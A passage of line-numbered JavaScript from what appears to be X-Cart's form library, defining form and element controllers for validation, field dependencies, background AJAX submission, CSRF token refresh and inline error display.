o.triggerVent( 3711 'invalid.form', 3712 _.extend(_.clone(data), {widget: o}) 3713 ); 3714 } 3715 } 3716 ); 3717 3718 var triggerStateEvents = function(form) { 3719 if (form.get(0).commonController.isChanged()) { 3720 form.addClass('changed'); 3721 form.trigger('state-changed', { 3722 valid: form.get(0).commonController.validate(true) 3723 }); 3724 3725 } else { 3726 form.removeClass('changed'); 3727 form.trigger('state-initial'); 3728 } 3729 }; 3730 3731 var debouncedTriggerStateEvents = _.debounce(triggerStateEvents, 100); 3732 3733 var changeHandler = function (event) { 3734 var obj = event.target || event.srcElement; 3735 var form = jQuery(this); 3736 3737 if ( 3738 !obj 3739 || !jQuery(obj) 3740 || !jQuery(obj).hasClass('not-significant') 3741 ) { 3742 debouncedTriggerStateEvents(form); 3743 } 3744 3745 if (!jQuery(obj).hasClass('selectAll')) { 3746 if (form.find('input.selector:checked').length > 0) { 3747 if (!form.hasClass('more-action-enabled')) { 3748 form.addClass('more-action-enabled'); 3749 form.trigger('more-action-enabled'); 3750 } 3751 3752 } else if (form.hasClass('more-action-enabled')) { 3753 form.removeClass('more-action-enabled'); 3754 form.trigger('more-action-initial'); 3755 } 3756 } 3757 3758 var state = this.commonController.checkDependencyState(); 3759 this.commonController.setDependencyState(state); 3760 }; 3761 3762 form.change(changeHandler); 3763 3764 var state = this.checkDependencyState(); 3765 this.setDependencyState(state); 3766 3767 this.triggerVent('initialized', this); 3768} 3769 3770extend(CommonForm, Base); 3771 3772// Element controllers 3773CommonForm.elementControllers = []; 3774 3775// Autoload class method 3776CommonForm.autoload = function() 3777{ 3778 jQuery('form').each( 3779 function() { 3780 new CommonForm(this); 3781 } 3782 ); 3783}; 3784 3785// Autoassign class method 3786CommonForm.autoassign = function(base) 3787{ 3788 jQuery('form', base).each( 3789 function() { 3790 new CommonForm(this); 3791 } 3792 ); 3793 3794 jQuery(base).parents('form').each( 3795 function() { 3796 if (typeof(this.commonController) !== 'undefined') { 3797 this.commonController.bindElements(); 3798 } 3799 } 3800 ); 3801}; 3802 3803// Form DOM element 3804CommonForm.prototype.form = null; 3805 3806// Form jQuery element 3807CommonForm.prototype.$form = null; 3808 3809CommonForm.prototype.blurTTL = 300; 3810 3811CommonForm.prototype.elementBlurTO = null; 3812 3813CommonForm.prototype.isFocus = false; 3814/** 3815 * Options 3816 */ 3817 3818// Auto-submit form in background mode 3819CommonForm.prototype.backgroundSubmit = false; 3820 3821// Submit form ony if form changed 3822CommonForm.prototype.submitOnlyChanged = false; 3823 3824// POST request as RPC-request 3825CommonForm.prototype.postAsRPC = true; 3826 3827// GET request as RPC-request 3828CommonForm.prototype.getAsRPC = false; 3829 3830CommonForm.prototype.errorPlace = null; 3831 3832CommonForm.prototype.formIdName = 'xcart_form_id'; 3833// Get elements jQuery collection 3834CommonForm.prototype.getElements = function() 3835{ 3836 var data = { 3837 widget: this, 3838 list: this.$form.find(':input, .separator h2') 3839 }; 3840 3841 this.triggerVent('filterElements', data); 3842 3843 return data.list; 3844}; 3845 3846// Bind form elements 3847CommonForm.prototype.bindElements = function() 3848{ 3849 var o = this; 3850 var form = this.$form; 3851 3852 this.getElements().each( 3853 function() { 3854 if (typeof(this.commonController) === 'undefined') { 3855 var elm = new CommonElement(this); 3856 3857 jQuery.each( 3858 CommonForm.elementControllers, 3859 function (i, controller) { 3860 if (typeof(controller) === 'function') { 3861 3862 // Controller is function-handler 3863 controller.call(elm); 3864 } 3865 } 3866 ); 3867 3868 this.commonController.bind('local.blur', _.bind(o.handleElementBlur, o));
3869 this.commonController.bind('local.focus', _.bind(o.handleElementFocus, o)); 3870 } 3871 } 3872 ); 3873 3874 jQuery.each( 3875 CommonForm.elementControllers, 3876 function (i, controller) { 3877 if ( 3878 typeof(controller) === 'object' 3879 && form.find(controller.pattern).length > 0 3880 && (typeof(controller.condition) === 'undefined' || form.find(controller.condition).length > 0) 3881 ) { 3882 3883 // Controller is { pattern: '.element', handler: function () { ... } } 3884 form.find(controller.pattern).each( 3885 function () { 3886 if (typeof(this.assignedElementControllers) === 'undefined') { 3887 this.assignedElementControllers = []; 3888 } 3889 3890 if (jQuery.inArray(i, this.assignedElementControllers) == -1) { 3891 controller.handler.call(this, form); 3892 this.assignedElementControllers.push(i); 3893 } 3894 } 3895 ); 3896 } 3897 } 3898 ); 3899 3900 // Cancel button 3901 this.$form.find('.form-cancel') 3902 .not('.assigned') 3903 .click( 3904 function (event) { 3905 event.stopPropagation(); 3906 var form = jQuery(this).not('.disabled').parents('form').get(0); 3907 if (form ) { 3908 form.commonController.undo(); 3909 } 3910 3911 return false; 3912 } 3913 ) 3914 .addClass('assigned'); 3915}; 3916 3917// Validate form 3918CommonForm.prototype.validate = function(options) 3919{ 3920 var silent = options; 3921 var focus = true; 3922 if (typeof(options) === 'object') { 3923 var silent = typeof(options.silent) !== 'undefined' ? options.silent : false; 3924 var focus = typeof(options.focus) !== 'undefined' ? options.focus : true; 3925 } 3926 3927 var options = focus !== false; 3928 var all = this.getElements(); 3929 var failed = all.filter('input,select,textarea').filter( 3930 function() { 3931 return this.commonController && !this.commonController.validate(silent); 3932 } 3933 ); 3934 3935 var state = { 3936 'widget': this, 3937 'result': failed.length == 0, 3938 'all': all, 3939 'failed': failed 3940 }; 3941 this.triggerVent('validate', state); 3942 3943 if (!state.result && !silent && focus) { 3944 this.focusOnFirstInvalid(); 3945 } 3946 3947 return state.result; 3948}; 3949 3950CommonForm.prototype.focusOnFirstInvalid = function(message) 3951{ 3952 var elm = this.getElements().filter('.validation-error').eq(0); 3953 if (elm.length) { 3954 elm.focus(); 3955 } 3956}; 3957 3958CommonForm.prototype.markAsInvalid = function(message) 3959{ 3960 this.getErrorPlace() 3961 .html(message) 3962 .show(); 3963 3964 this.$form.addClass('invalid-form'); 3965}; 3966 3967CommonForm.prototype.unmarkAsInvalid = function() 3968{ 3969 this.getErrorPlace() 3970 .hide(); 3971 3972 this.$form.removeClass('invalid-form'); 3973}; 3974 3975CommonForm.prototype.getFormId = function () { 3976 return this.$form 3977 .find('input[type="hidden"]') 3978 .filter('input[name="' + this.formIdName + '"]').eq(0) 3979 .val(); 3980}; 3981 3982CommonForm.prototype.replaceCSRFToken = function (value) { 3983 return this.$form 3984 .find('input[type="hidden"]') 3985 .filter('input[name="' + this.formIdName + '"]').eq(0) 3986 .val(value); 3987}; 3988 3989CommonForm.prototype.getErrorPlace = function () { 3990 if (!this.errorPlace) { 3991 this.errorPlace = jQuery('<div></div>') 3992 .addClass('form-error') 3993 .hide() 3994 .insertBefore(this.$form.children().eq(0)); 3995 } 3996 3997 return this.errorPlace; 3998}; 3999 4000// Undo all changes 4001CommonForm.prototype.undo = function () { 4002 this.getElements().filter('input,select,textarea').each(function () { 4003 this.commonController.undo(); 4004 }); 4005 this.$form.trigger('undo'); 4006 this.$form.change(); 4007}; 4008 4009// Enabled background submit mode and set callbacks 4010CommonForm.prototype.enableBackgroundSubmit = function(beforeCallback, afterCallback) { 4011 this.backgroundSubmit = true; 4012 4013 if (beforeCallback) { 4014 this.$form.bind('beforeSubmit', beforeCallback); 4015 } 4016 4017 if (afterCallback) { 4018 this.$form.bind('afterSubmit', afterCallback); 4019 } 4020 4021 return this; 4022}; 4023 4024// Submit form in background mode 4025CommonForm.prototype.submitBackground = function(callback, disableValidation, options) 4026{ 4027 var result = false;
4028 4029 if (disableValidation || this.form.validate()) { 4030 4031 var state = { 4032 'widget': this, 4033 'state': true 4034 }; 4035 4036 this.triggerVent('beforeSubmit', state); 4037 if (!state.state) { 4038 return result; 4039 } 4040 4041 this.preprocessBackgroundSubmit(); 4042 4043 var o = this; 4044 4045 var isPOST = this.$form.attr('method').toUpperCase() == 'POST'; 4046 var method = isPOST ? 'post' : 'get'; 4047 4048 options = options || {}; 4049 4050 if ( 4051 typeof(options.rpc) === 'undefined' 4052 && ((isPOST && this.postAsRPC) || (!isPOST && this.getAsRPC)) 4053 ) { 4054 options.rpc = true; 4055 } 4056 4057 if (typeof(options.timeout) === 'undefined') { 4058 options.timeout = 60000; 4059 } 4060 4061 result = xcart[method]( 4062 this.$form.attr('action'), 4063 function(XMLHttpRequest, textStatus, data, isValid) { 4064 var args = { 4065 'XMLHttpRequest': XMLHttpRequest, 4066 'textStatus': textStatus, 4067 'data': data, 4068 'isValid': isValid 4069 }; 4070 o.postprocessBackgroundSubmit(); 4071 o.tryRestoreCSRFToken(XMLHttpRequest); 4072 o.$form.trigger('afterSubmit', args); 4073 o.triggerVent('submitted', args); 4074 if (isValid) { 4075 o.triggerVent('submit.success', args); 4076 4077 } else { 4078 o.triggerVent('submit.error', args); 4079 } 4080 4081 return callback ? callback(XMLHttpRequest, textStatus, data, isValid) : true; 4082 },
4083 this.getSerializedValues(), 4084 options 4085 ); 4086 4087 if (result) { 4088 this.form.currentSubmitXHR = result; 4089 4090 } else { 4091 xcart.showInternalError(); 4092 } 4093 4094 this.triggerVent('afterSubmit', {'widget': this, 'state': result, 'arguments': arguments}); 4095 } 4096 4097 return result; 4098}; 4099 4100CommonForm.prototype.getSerializedValues = function() 4101{ 4102 return this.getElements().serialize(); 4103}; 4104 4105CommonForm.prototype.tryRestoreCSRFToken = function(xhr) 4106{ 4107 var list = xhr.getAllResponseHeaders().split(/\n/); 4108 var tokenHeader = _.find(list, function(headerValue){ 4109 return headerValue.search(/update-csrf: (.*)/i) !== -1; 4110 }); 4111 4112 var newTokenMatches = tokenHeader 4113 ? tokenHeader.match(/update-csrf: (.*)/i) 4114 : null; 4115 4116 if (newTokenMatches && newTokenMatches[1]) { 4117 var newTokenValue = JSON.parse(newTokenMatches[1]); 4118 4119 if (newTokenValue.value) { 4120 this.replaceCSRFToken(newTokenValue.value); 4121 } 4122 } 4123}; 4124// Submit form in force mode 4125CommonForm.prototype.submitForce = function() 4126{ 4127 this.skipCurrentBgSubmit(); 4128 4129 var oldValue = this.submitOnlyChanged; 4130 this.submitOnlyChanged = false; 4131 4132 this.$form.submit(); 4133 4134 this.submitOnlyChanged = oldValue; 4135}; 4136 4137// Prepare form before background submit 4138CommonForm.prototype.preprocessBackgroundSubmit = function() 4139{ 4140 this.form.isBgSubmitting = true; 4141 4142 this.triggerVent('submit.preprocess', this); 4143 4144 this.getElements().commonController('preprocessBackgroundSubmit'); 4145}; 4146 4147// Prepare form after background submit 4148CommonForm.prototype.postprocessBackgroundSubmit = function() 4149{ 4150 this.form.isBgSubmitting = false; 4151 if (this.form.currentSubmitXHR) { 4152 delete this.form.currentSubmitXHR; 4153 } 4154 4155 this.getElements().commonController('postprocessBackgroundSubmit'); 4156}; 4157 4158CommonForm.prototype.isSaveValue = function (element) { 4159 return true; 4160}; 4161 4162// Skip current background submit 4163CommonForm.prototype.skipCurrentBgSubmit = function () { 4164 if (this.form.isBgSubmitting) { 4165 this.form.isBgSubmitting = false; 4166 4167 if (this.form.currentSubmitXHR) { 4168 this.form.currentSubmitXHR.abort(); 4169 delete this.form.currentSubmitXHR; 4170 } 4171 4172 this.getElements().commonController('skipCurrentBgSubmit'); 4173 } 4174}; 4175 4176// Form has any changed state watcher's elements 4177CommonForm.prototype.hasChangedWatcher = function () { 4178 return this.getElements().filter(function() { 4179 return this.isChangedWatcher(); 4180 }).length > 0; 4181}; 4182 4183// Check - form changed or not 4184CommonForm.prototype.isChanged = function(onlyVisible) 4185{ 4186 return this.getElements().filter( 4187 function() { 4188 return this.commonController ? this.commonController.isChanged(onlyVisible) : false; 4189 } 4190 ).length > 0; 4191}; 4192 4193// Check - form was filled or not 4194CommonForm.prototype.wasFilledOnce = function() 4195{ 4196 var fields = this.getElements().filter( 4197 function() { 4198 return this.commonController ? this.commonController.isRequired() : false; 4199 } 4200 ); 4201 4202 return _.every(fields, function(item) { 4203 return item.commonController.wasFilledOnce() || !item.commonController.isVisible(); 4204 }); 4205}; 4206 4207CommonForm.prototype.handleElementBlur = function(elm) 4208{ 4209 this.elementBlurTO = setTimeout( 4210 _.bind(this.triggerBlur, this), 4211 this.blurTTL 4212 ); 4213}; 4214 4215CommonForm.prototype.handleElementFocus = function(elm) 4216{ 4217 if (this.elementBlurTO) { 4218 clearTimeout(this.elementBlurTO); 4219 this.elementBlurTO = null; 4220 } 4221 4222 if (!this.isFocus) { 4223 this.isFocus = true; 4224 this.triggerVent('focus', this); 4225 } 4226}; 4227 4228CommonForm.prototype.triggerBlur = function() 4229{ 4230 if (this.isFocus) { 4231 this.isFocus = false; 4232 this.triggerVent('blur', this); 4233 } 4234}; 4235 4236CommonForm.prototype.checkDependencyState = function() 4237{ 4238 var state = {}; 4239 4240 var checkState = _.bind(function (state, field, deps, show) { 4241 var depField, depValue, value; 4242 var input, element; 4243 for (depField in deps) if (deps.hasOwnProperty(depField)) { 4244 input = jQuery('[name="' + depField + '"]', jQuery(this.form)).not('[type="hidden"]').get(0); 4245 if (!input || !input.commonController) { 4246 continue; 4247 } 4248 depValue = deps[depField]; 4249 element = input.commonController.$element; 4250 4251 if (element.is('[type="checkbox"]')) { 4252 value = element.is(':checked') ? true : false;
4253 } else { 4254 value = element.val(); 4255 } 4256 4257 if (show) { 4258 if (depValue == value || ((typeof depValue === 'object') && _.contains(depValue, value))) { 4259 if (state[field] !== false) { 4260 state[field] = true; 4261 } 4262 } else { 4263 state[field] = false; 4264 } 4265 } else { 4266 if (depValue == value || ((typeof depValue === 'object') && _.contains(depValue, value))) { 4267 if (state[field] !== true) { 4268 state[field] = false; 4269 } 4270 } else { 4271 state[field] = true; 4272 } 4273 } 4274 } 4275 4276 return state; 4277 }, this); 4278 4279 _.each( 4280 this.getDependency(), 4281 function(value, field) { 4282 state = checkState(state, field, value.hide, false); 4283 state = checkState(state, field, value.show, true); 4284 } 4285 ); 4286 4287 return state; 4288}; 4289 4290CommonForm.prototype.getDependency = function() 4291{ 4292 var dependency = {}; 4293 4294 this.$form.find('.has-dependency :input, .separator.has-dependency h2').each( 4295 function () { 4296 if (typeof(this.commonController) !== 'undefined') { 4297 if (typeof(this.commonController.hasDependency) !== 'undefined' && this.commonController.hasDependency()) { 4298 var name = this.commonController.element.name || this.commonController.$element.data('name'); 4299 dependency[name] = this.commonController.getDependency(); 4300 } 4301 } 4302 } 4303 ); 4304 4305 return dependency; 4306}; 4307 4308CommonForm.prototype.setDependencyState = function(state) 4309{ 4310 _.each( 4311 state, 4312 this.setElementDependency, 4313 this 4314 ); 4315}; 4316 4317CommonForm.prototype.setElementDependency = function (state, field) 4318{ 4319 var element = jQuery(this.form.elements.namedItem(field)).add('[data-name="' + field + '"]', this.form).filter('[type!="hidden"]').get(0); 4320 if (element) { 4321 var elementController = element.commonController; 4322 4323 if (state) { 4324 elementController.showByDependency(); 4325 4326 } else { 4327 elementController.hideByDependency(); 4328 } 4329 } 4330}; 4331 4332// {{{ Form readiness 4333 4334CommonForm.prototype.controlReadiness = false; 4335 4336CommonForm.prototype.isReady = null; 4337 4338CommonForm.prototype.switchControlReadiness = function(flag) 4339{ 4340 this.controlReadiness = flag === true || typeof(flag) === 'undefined'; 4341 4342 if (this.controlReadiness) { 4343 this.processReadiness(); 4344 } 4345 4346 return this; 4347}; 4348 4349CommonForm.prototype.resetReadiness = function() 4350{ 4351 this.isReady = null; 4352 4353 return this; 4354}; 4355 4356CommonForm.prototype.processReadiness = function() 4357{ 4358 if (this.isReadinessChanged()) { 4359 if (this.isReady) { 4360 this.triggerVent('ready', this); 4361 4362 } else { 4363 this.triggerVent('unready', this); 4364 } 4365 } 4366}; 4367 4368CommonForm.prototype.isReadinessChanged = function() 4369{ 4370 var tmp = this.isReady; 4371 this.isReady = this.validate(true); 4372 4373 return tmp != this.isReady; 4374}; 4375 4376CommonForm.prototype.findParentCellForElementOnStickyPanel = function(element) { 4377 let result = element; 4378 while (result && result.parentNode && result.classList && !result.classList.contains('panel-cell')) { 4379 result = result.parentNode; 4380 } 4381 if (result && result.classList && result.classList.contains('panel-cell')) { 4382 return result; 4383 } 4384 return element; 4385}; 4386 4387// }}} 4388 4389/** 4390 * Element 4391 */ 4392 4393// Constructor 4394function CommonElement(elm) 4395{ 4396 this.validationCallbacks = []; 4397 4398 if (elm && !elm.commonController) { 4399 this.bindElement(elm); 4400 } 4401} 4402 4403extend(CommonElement, Base); 4404 4405CommonElement.prototype.element = null; 4406CommonElement.prototype.$element = null; 4407// Validattion class-base rule pattern 4408CommonElement.prototype.classRegExp = /^field-(.+)$/; 4409CommonElement.prototype.watchTTL = 2000; 4410CommonElement.prototype.promptPosition = 'bottomLeft'; 4411 4412// Bind element 4413CommonElement.prototype.bindElement = function(elm) 4414{ 4415 this.element = elm; 4416 this.$element = jQuery(elm); 4417 4418 this.element.commonController = this; 4419 4420 // Add methods and properties 4421 var methods = [ 4422 'showInlineError', 'hideInlineError', 'markAsInvalid', 4423 'unmarkAsInvalid', 'markAsProgress', 'unmarkAsProgress', 4424 'validate', 'isChanged', 'markAsWatcher', 4425 'toggleActivity', 'isEnabled', 'enable', 4426 'disable', 'isVisible', 4427 'showInlineMessage', 'hideInlineMessage' 4428 ]; 4429 4430 _.each( 4431 methods, 4432 function(method) { 4433 this.element[method] = _.bind( 4434 function() { 4435 return this[method].apply(this, arguments); 4436 }, 4437 this 4438 ); 4439 }, 4440 this 4441 ); 4442 4443 this.saveValue(); 4444 this.element.isInitialError = this.$element.hasClass('validation-error'); 4445 4446 this.assignHandlers(); 4447 4448 this.$element.bind('jqv.field.result', _.bind(this.handleValidationEngineResult, this)); 4449 var debounced = _.debounce(_.bind(this.handleKeyUp, this), 100); 4450 var debouncedChange = _.debounce(_.bind(this.handleChange, this), 100); 4451 this.$element 4452 .change(debouncedChange) 4453 .keyup(debounced) 4454 .bind('paste', debounced); 4455 4456 if (this.$element.parents('.instant-control-readiness').length > 0) { 4457 this.$element.keyup(_.debounce(_.bind(this.handleKeyUpControlReadiness, this), 100)); 4458 } 4459 4460 this.triggerVent('bind'); 4461}; 4462 4463CommonElement.prototype.getForm = function () { 4464 return (this.element.form && this.element.form.commonController) 4465 ? this.element.form.commonController 4466 : null; 4467}; 4468 4469// Get validators by form element 4470CommonElement.prototype.getValidators = function () {
4471 var validators = []; 4472 4473 if (this.element.className) { 4474 var classes = this.element.className.split(/ /); 4475 var m, methodName; 4476 for (var i = 0; i < classes.length; i++) { 4477 4478 m = classes[i].match(this.classRegExp); 4479 4480 if (m && m[1]) { 4481 methodName = m[1].replace(/-[a-z]/, this.buildMethodName); 4482 methodName = 'validate' + methodName.substr(0, 1).toUpperCase() + methodName.substr(1); 4483 if (typeof(this[methodName]) !== 'undefined') { 4484 validators.push( 4485 { 4486 key: m[1], 4487 method: this[methodName] 4488 } 4489 ); 4490 } 4491 } 4492 } 4493 } 4494 4495 return validators; 4496}; 4497 4498// Get element label by form element 4499CommonElement.prototype.getLabel = function() 4500{ 4501 var label = null; 4502 4503 if (this.element.id) { 4504 var lbl = jQuery('label[for="' + this.element.id + '"]'); 4505 if (lbl.length) { 4506 label = jQuery.trim(lbl.eq(0).html()).replace(/:$/, '').replace(/<.+$/, ''); 4507 } 4508 } 4509 4510 return label; 4511}; 4512 4513// Check - element visible or not 4514CommonElement.prototype.isVisible = function() 4515{ 4516 if (this.$element.css('display') == 'none') { 4517 return false; 4518 } 4519 4520 return this.$element 4521 .parents() 4522 .filter( 4523 function() { 4524 return $(this).css('display') == 'none'; 4525 } 4526 ) 4527 .length == 0; 4528}; 4529 4530CommonElement.prototype.isVisibleForValidation = function() 4531{ 4532 var data = this.$element.data('jqv'); 4533 4534 return this.isVisible() || (data && data.validateNonVisibleFields === true) 4535 || this.$element.data('custom-validate') === true; 4536}; 4537 4538// Build validator method name helper 4539CommonElement.prototype.buildMethodName = function(str) 4540{ 4541 return str.substr(1).toUpperCase(); 4542}; 4543 4544// Validate form element 4545CommonElement.prototype.addValidationCallback = function(callback) 4546{ 4547 this.validationCallbacks.push(callback); 4548}; 4549 4550// Validate form element 4551CommonElement.prototype.getValidationCallbacks = function() 4552{ 4553 return this.validationCallbacks; 4554}; 4555 4556// Validate form element 4557CommonElement.prototype.validate = function(silent, noFocus) 4558{ 4559 var result = true; 4560 4561 if (!this.isVisibleForValidation()) { 4562 return result; 4563 } 4564 4565 if ( 4566 this.$element.is(':input') 4567 && ( 4568 (typeof(this.element.type) !== 'undefined' && this.element.type == 'hidden') 4569 || this.$element.closest('.hidden').length > 0 4570 ) 4571 ) { 4572 // Hidden input always validate successfull 4573 result = true; 4574 4575 } else if (this.$element.hasClass('no-validate')) { 4576 4577 // Hidden element always validate successfull 4578 result = true; 4579 4580 } else if (this.$element.hasClass('server-validation-error') && !this.isChanged() && !this.wasFilledOnce()) { 4581 4582 // Element is fail server validation and element's value did not changed 4583 result = false;
4584 4585 } else { 4586 4587 this.$element.data('validation-silent', !!silent); 4588 4589 var validators = this.getValidators(); 4590 4591 if (validators.length > 0 && this.isVisibleForValidation()) { 4592 4593 // Check by validators 4594 for (var i = 0; i < validators.length && result; i++) { 4595 4596 var res = validators[i].method.call(this); 4597 if (!res.status && res.apply) { 4598 result = false; 4599 4600 if (!silent) { 4601 res.message = xcart.t(res.message); 4602 this.markAsInvalid(res.message, validators[i].key); 4603 } 4604 } 4605 } 4606 4607 if (result && !silent && this.$element.hasClass('validation-error')) { 4608 this.unmarkAsInvalid(); 4609 } 4610 } 4611 4612 // Validation using validationEngine plugin 4613 if (result && this.$element.validationEngine && this.$element.attr('id')) { 4614 this.$element.validationEngine('validate'); 4615 result = !this.$element.data('validation-error'); 4616 } 4617 4618 var state = {'widget': this, 'result': result, 'silent': silent}; 4619 this.triggerVent('validate', state); 4620 4621 result = state.result; 4622 4623 if (result && silent) { 4624 this.unmarkAsInvalid(); 4625 } 4626 4627 if (result && !_.isEmpty(this.element.value) && this.$element.hasClass('show-valid-state')) { 4628 this.markAsValid(); 4629 } 4630 } 4631 4632 var element = this.$element; 4633 4634 return result && _.every(this.getValidationCallbacks(), function(callback) { 4635 return callback(element); 4636 }); 4637}; 4638 4639// Check 4640CommonElement.prototype.isUseInlineError = function() 4641{ 4642 return jQuery(this.element.form).hasClass('use-inline-error'); 4643}; 4644 4645// Check 4646CommonElement.prototype.isUsePromptError = function() 4647{ 4648 return jQuery(this.element.form).hasClass('use-prompt-error') 4649 && typeof(this.$element.validationEngine) !== 'undefined'; 4650}; 4651 4652// Mark element as invalid (validation is NOT passed) 4653CommonElement.prototype.markAsInvalid = function(message, key, serverSideError) 4654{ 4655 key = key || this.element.name; 4656 4657 var oldErrorMessage = this.$element.data('lastValidationError'); 4658 var common_container = this.$element.closest(".table-value").parent(); 4659 4660 this.$element 4661 .addClass('validation-error') 4662 .data('lastValidationError', message) 4663 .data('lastValidationKey', key); 4664 4665 this.$element.parent().addClass('has-error'); 4666 common_container.addClass('has-error'); 4667 this.$element.parent().removeClass('has-success has-success-mark'); 4668 4669 if (this.isUseInlineError()) { 4670 this.$element 4671 .not('.forbid-inline-error') 4672 .each( 4673 function() { 4674 this.hideInlineError(); 4675 this.hideInlineMessage(); 4676 this.showInlineError(message); 4677 } 4678 ); 4679 4680 } else if (this.isUsePromptError()) { 4681 this.$element.validationEngine( 4682 'showPrompt', 4683 message, 4684 null, 4685 this.promptPosition, 4686 true 4687 ); 4688 4689 } else { 4690 if (this.$element.attr('title')) { 4691 this.element.oldTitle = this.$element.attr('title'); 4692 this.$element.removeAttr('title'); 4693 } 4694 if (typeof(this.element.errorTooltipAssigned) === 'undefined' || !this.element.errorTooltipAssigned) { 4695 this.$element.tooltip({ 4696 title: message, 4697 placement: 'bottom', 4698 trigger: 'focus' 4699 }); 4700 this.element.errorTooltipAssigned = true; 4701 this.$element.tooltip('show'); 4702 4703 } else if (message !== oldErrorMessage) { 4704 this.$element.tooltip('hide').attr('data-original-title', message).tooltip('show'); 4705 } 4706 } 4707 4708 if (serverSideError) { 4709 this.$element.addClass('server-validation-error'); 4710 } 4711 4712 this.$element.trigger('invalid'); 4713 this.triggerVent('markAsInvalid', this); 4714}; 4715 4716// Unmark element as invalid (validation is passed) 4717CommonElement.prototype.unmarkAsInvalid = function() 4718{ 4719 var common_container = this.$element.parents(".table-value").parent(); 4720 4721 if (this.$element.hasClass('validation-error')) { 4722 this.$element.trigger('valid'); 4723 } 4724 4725 this.$element 4726 .data('lastValidationError', null) 4727 .data('lastValidationKey', null) 4728 .removeClass('validation-error') 4729 .removeClass('server-validation-error') 4730 .each(function() { 4731 this.hideInlineError(); 4732 }); 4733 4734 this.$element.parent().removeClass('has-error'); 4735 common_container.removeClass('has-error'); 4736 if (typeof(this.element.errorTooltipAssigned) !== 'undefined' && this.element.errorTooltipAssigned) { 4737 this.$element.tooltip('destroy'); 4738 this.element.errorTooltipAssigned = false;
4739 } 4740 if (typeof(this.element.oldTitle) !== 'undefined' && this.element.oldTitle) { 4741 this.$element.attr('title', this.element.oldTitle); 4742 this.element.oldTitle = null; 4743 } 4744 4745 this.triggerVent('unmarkAsInvalid', this); 4746}; 4747 4748// Mark element as valid (validation is passed) 4749CommonElement.prototype.markAsValid = function(message) 4750{ 4751 this.unmarkAsInvalid(); 4752 4753 this.$element 4754 .data('lastValidationMessage', message) 4755 .each( 4756 function() { 4757 this.hideInlineMessage(); 4758 this.showInlineMessage(message); 4759 } 4760 ); 4761 4762 this.$element.parent().addClass('has-success'); 4763 if (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['checkbox', 'radio']) == -1) { 4764 this.$element.parent().addClass('has-success-mark'); 4765 } 4766 4767 this.triggerVent('markAsValid', this); 4768}; 4769 4770// Show element inline error message 4771CommonElement.prototype.showInlineError = function(message) 4772{ 4773 var elm = jQuery(document.createElement('p')) 4774 .addClass('error') 4775 .addClass('inline-error') 4776 .html(message); 4777 var placed = false; 4778 4779 this.triggerVent('placeError', {'widget': this, 'element': elm, 'placed': placed}); 4780 if (!placed) { 4781 if (this.$element.is(':checkbox') && this.$element.nextAll('label').length) { 4782 elm.insertAfter(this.$element.nextAll('label').eq(0)); 4783 4784 } else { 4785 elm.insertAfter(this.$element); 4786 } 4787 } 4788}; 4789 4790// Hide element inline error message 4791CommonElement.prototype.hideInlineError = function() 4792{ 4793 return jQuery('p.inline-error', this.element.parentNode).remove(); 4794}; 4795 4796// Show element inline error message 4797CommonElement.prototype.showInlineMessage = function(message) 4798{ 4799 var elm = jQuery(document.createElement('p')) 4800 .addClass('message') 4801 .addClass('inline-message') 4802 .html(message); 4803 var placed = false; 4804 4805 this.triggerVent('placeMessage', {'widget': this, 'element': elm, 'placed': placed}); 4806 if (!placed) { 4807 if (this.$element.is(':checkbox') && this.$element.nextAll('label').length) { 4808 elm.insertAfter(this.$element.nextAll('label').eq(0)); 4809 4810 } else { 4811 elm.insertAfter(this.$element); 4812 } 4813 } 4814}; 4815 4816// Hide element inline error message 4817CommonElement.prototype.hideInlineMessage = function() 4818{ 4819 return jQuery('p.inline-message', this.element.parentNode).remove(); 4820}; 4821 4822// Mark element as in-progress element 4823CommonElement.prototype.markAsProgress = function() 4824{ 4825 this.$element.addClass('progress-mark-apply'); 4826 this.$element.parent().removeClass('has-success has-success-mark'); 4827 4828 return jQuery('<div></div>') 4829 .insertAfter(this.$element) 4830 .addClass('single-progress-mark'); 4831}; 4832 4833// Unmark element as in-progress element 4834CommonElement.prototype.unmarkAsProgress = function() 4835{ 4836 this.$element.removeClass('progress-mark-apply'); 4837 4838 return jQuery('.single-progress-mark', this.element.parentNode).remove(); 4839}; 4840 4841// Mark element as change watcher 4842CommonElement.prototype.markAsWatcher = function(beforeCallback) 4843{ 4844 var o = this; 4845 4846 this.element.selfSubmitting = false; 4847 this.element.selfSubmitTO = null; 4848 this.element.lastValue = this.element.value; 4849 4850 var submitElement = function(event) { 4851 if (o.element.selfSubmitTO) { 4852 clearTimeout(o.element.selfSubmitTO); 4853 o.element.selfSubmitTO = null; 4854 } 4855 4856 if ( 4857 (o.isChanged() || (o.$element.hasClass('validation-error') && !o.$element.hasClass('server-validation-error'))) 4858 && (!beforeCallback || beforeCallback(o.element)) 4859 ) { 4860 jQuery(o.element.form).submit(); 4861 } 4862 }; 4863 4864 var delayedUpdate = function(event) { 4865 if (this.lastValue !== this.value) { 4866 4867 this.lastValue = this.value; 4868 4869 if (this.selfSubmitTO) { 4870 clearTimeout(this.selfSubmitTO); 4871 this.selfSubmitTO = null; 4872 } 4873 4874 this.selfSubmitTO = setTimeout(submitElement, o.watchTTL); 4875 } 4876 }; 4877 4878 o.$element 4879 .blur(submitElement) 4880 .keyup(delayedUpdate) 4881 .filter('[type="checkbox"]') 4882 .click(submitElement); 4883 4884 if (typeof(jQuery.fn.mousewheel) !== 'undefined') { 4885 o.$element.mousewheel(delayedUpdate); 4886 } 4887}; 4888 4889// Element is column checkboxes switcher 4890CommonElement.prototype.markAsColumnSwitcher = function() 4891{ 4892 this.$element.click( 4893 function() { 4894 var idx = jQuery(this).parents('th').get(0).cellIndex; 4895 var newState = this.checked; 4896 4897 jQuery(this).parents('table').find('tr').each( 4898 function() { 4899 jQuery(this.cells[idx]).find(':checkbox').get(0).checked = newState; 4900 } 4901 ); 4902 } 4903 ); 4904}; 4905 4906// Element is mouse wheel controlled 4907CommonElement.prototype.markAsWheelControlled = function() 4908{ 4909 var o = this; 4910 4911 this.$element.mousewheel( 4912 function(event, delta) { 4913 4914 // Pull min and max value from the validationEndine class 4915 if (o.$element.attr('class').match(/min\[(\d+)\].*max\[(\d+)\]/)) { 4916 o.$element.mousewheel.options = { 4917 'min': RegExp.$1, 4918 'max': RegExp.$2 4919 }; 4920 } 4921 4922 return o.$element.hasClass('focused') && o.updateByMouseWheel(event, delta); 4923 } 4924 ); 4925 4926 if (!this.$element.hasClass('no-wheel-mark') && this.$element.nextAll('.wheel-mark').length == 0) { 4927 jQuery(document.createElement('span')) 4928 